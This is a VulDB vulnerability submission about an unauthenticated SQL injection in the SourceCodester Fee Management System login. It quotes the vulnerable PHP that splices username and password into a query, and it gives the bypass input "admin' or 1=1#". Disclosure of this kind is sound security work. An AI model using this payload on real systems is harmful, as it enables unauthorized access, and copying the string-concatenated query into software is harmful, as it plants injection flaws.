| 标题 | Unauthenticated SQL injection in Fee Management System in login page. |
|---|
| 描述 | Fee Management System source code URL:
https://www.sourcecodester.com/php/15357/best-fee-management-system-project-php-source-code.html
in admin_class.php
function login(){
extract($_POST);
$qry = $this->db->query("SELECT * FROM users where username = '".$username."' and password = '".md5($password)."' ");
......
}
the usename and password variables is directly spliced into sql statement.
In login page, anyone can login with the below parameters:
username: admin' or 1=1#
password: whatever
|
|---|
| 来源 | ⚠️ https://www.sourcecodester.com/php/15357/best-fee-management-system-project-php-source-code.html |
|---|
| 用户 | zhangguohu (UID 30684) |
|---|
| 提交 | 2022-08-05 11時44分 (4 年前) |
|---|
| 管理 | 2022-08-05 12時43分 (59 minutes later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 205658 [SourceCodester Best Fee Management System admin_class.php login 用户名 SQL注入] |
|---|
| 积分 | 20 |
|---|